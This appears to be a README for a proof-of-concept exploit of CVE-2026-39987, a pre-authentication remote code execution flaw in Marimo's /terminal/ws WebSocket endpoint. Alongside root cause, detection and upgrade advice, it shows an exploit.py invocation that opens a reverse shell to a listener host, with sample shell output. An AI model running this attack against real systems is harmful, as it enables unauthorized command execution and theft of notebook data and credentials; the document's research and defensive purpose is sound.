
Proof-of-concept exploit for Marimo pre-authentication RCE. Uses the unauthenticated /terminal/ws WebSocket endpoint to spawn a PTY and establish a reverse shell.
CVE-2026-39987 is a critical pre-authentication Remote Code Execution (RCE) vulnerability affecting Marimo, a reactive Python notebook environment.
The vulnerability exists in Marimo's terminal WebSocket endpoint:
/terminal/ws
The endpoint failed to properly enforce authentication before creating a terminal session. As a result, an unauthenticated remote attacker capable of reaching a vulnerable Marimo instance can establish a WebSocket connection and obtain an interactive PTY shell.
No valid credentials are required.
| Property | Value |
|---|---|
| CVE | CVE-2026-39987 |
| Product | Marimo |
| Vulnerability | Pre-Authentication Remote Code Execution |
| Attack Vector | Network |
| Authentication | Not required |
| User Interaction | Not required |
| CWE | CWE-306 — Missing Authentication for Critical Function |
| Severity | Critical |
| Fixed Version | 0.23.0 |
The vulnerability was caused by inconsistent authentication enforcement between Marimo's WebSocket endpoints.
While other WebSocket functionality performs authentication validation, the vulnerable /terminal/ws endpoint could accept a connection without first validating the caller.
The vulnerable terminal endpoint creates an interactive PTY after accepting a WebSocket connection.
Conceptually, the vulnerable request flow is:
Remote Client
|
| WebSocket connection
v
/terminal/ws
|
| Missing authentication validation
v
WebSocket accepted
|
v
PTY created
|
v
Interactive shell
The important security boundary is the missing authentication check.
An endpoint exposing arbitrary command execution must not allow an unauthenticated client to reach the PTY creation logic.
Successful exploitation can provide arbitrary command execution with the privileges of the Marimo process.
Depending on the deployment configuration, this may allow an attacker to:
The impact is particularly significant for notebook environments because they commonly have access to datasets, APIs, credentials, cloud resources, and development infrastructure.
Warning: Run the PoC only against systems you own or are explicitly authorized to test.
This repository contains a PoC for demonstrating the vulnerability in a controlled environment.
The example below demonstrates exploitation against a local/lab instance.
For example:
http://127.0.0.1:8081
The vulnerable Marimo instance should be running before launching the PoC.
Example:
python3 exploit.py \
-u http://127.0.0.1:8081 \
--host 192.168.101.130 \
--port 5555
Where:
-u Target Marimo instance
--host Listener IP
--port Listener port
The PoC establishes the vulnerable terminal connection and waits for the resulting shell connection.
Example output:
[!] Coded By: K3ysTr0K3R
[!] CVE-2026-39987 - Marimo Pre-Auth RCE
[*] Listening on 192.168.101.130:5555 (timeout 15s)
[*] _build_ws_url invoked
[*] deliver_and_hold invoked
[*] Sending payload: python3 -c ...
[*] Waiting for reverse shell... (Ctrl+C to abort)
[+] Connection from 192.168.160.3:32882
After successful exploitation, the attacker receives a shell running under the privileges of the Marimo process.
whoami
Example:
marimo
id
Example:
uid=10001(marimo) gid=10001(marimo) groups=10001(marimo)
This demonstrates that arbitrary commands are being executed remotely as the marimo account.
The PoC can also demonstrate access to the filesystem available to the compromised process.
ls -la
Example:
total 4
-rw-r--r-- 1 marimo marimo 216 Aug 19 17:23 notebook.py
Moving to the filesystem root:
cd /
ls
Example:
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
workspace
This confirms that the remote shell has normal filesystem access subject to the privileges and container restrictions of the Marimo process.
The complete vulnerability chain can be summarized as:
1. Attacker discovers exposed Marimo instance
|
v
2. Attacker connects to /terminal/ws
|
v
3. Authentication is not enforced
|
v
4. WebSocket connection is accepted
|
v
5. PTY terminal is created
|
v
6. Attacker obtains command execution
|
v
7. Commands execute as the Marimo process
The critical security failure occurs at step 3.
Potential indicators of exploitation include unexpected WebSocket connections to:
/terminal/ws
and unusual process activity originating from the Marimo server.
Defenders should investigate:
Upgrade Marimo to a fixed release:
0.23.0 or later
Additionally:
/terminal/ws activity.CVE: CVE-2026-39987
CWE: CWE-306
Severity: Critical
Type: Pre-Authentication RCE
Protocol: WebSocket
Endpoint: /terminal/ws
Auth: None required
Fixed: 0.23.0
This project is provided for security research, vulnerability validation, and educational purposes. Do not use the PoC against systems that you do not own or have explicit authorization to test.